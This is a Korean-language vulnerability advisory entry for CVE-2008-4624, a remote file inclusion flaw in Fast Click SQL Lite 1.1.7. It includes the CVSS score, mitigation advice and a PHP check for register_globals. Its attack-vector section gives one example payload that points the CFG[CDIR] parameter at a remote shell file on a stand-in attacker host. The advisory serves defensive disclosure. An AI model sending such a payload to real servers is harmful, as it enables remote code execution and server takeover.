🔍 CVE-2008-4624

9.3
CVSS Score
HIGH
2008-10-21
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Fast Click SQL Lite 1.1.7의 init.php에서 register_globals 활성화 상태에서 발생하는 원격 파일 포함(RFI) 취약점입니다. CFG[CDIR] 파라미터를 통해 공격자가 원격 PHP 코드를 실행할 수 있습니다.

💡 쉬운 설명

오래된 PHP 애플리케이션의 설정 실수로 인해 공격자가 외부 악성 파일을 로드하여 서버를 제어할 수 있습니다. 이를 통해 데이터 탈취, 서버 마비, 다른 시스템 공격이 가능합니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in init.php in Fast Click SQL Lite 1.1.7, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the CFG[CDIR] parameter.

📍 영향받는 시스템

Fast Click SQL Lite 1.1.7 (register_globals=On인 PHP 환경)

⚔️ 공격 벡터

CFG[CDIR] 파라미터에 원격 PHP 파일 URL을 주입하여 원격 코드 실행 (예: ?CFG[CDIR]=http://attacker.com/shell.php%00)

🛡️ 대응 방법

PHP의 register_globals 설정을 off로 변경하고, Fast Click SQL Lite를 최신 버전으로 업그레이드하거나 ini_get/ini_set을 사용한 코드 재작성

🔧 검증 코드

VULNERABLE이 출력되면 register_globals가 활성화된 위험한 상태이고, SAFE가 출력되면 안전한 설정입니다.

Shell / Script 
php -r "echo ini_get('register_globals') ? 'VULNERABLE' : 'SAFE';"

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:M/Au:N/C:C/I:C/A:C

💻 영향받는 소프트웨어

PHP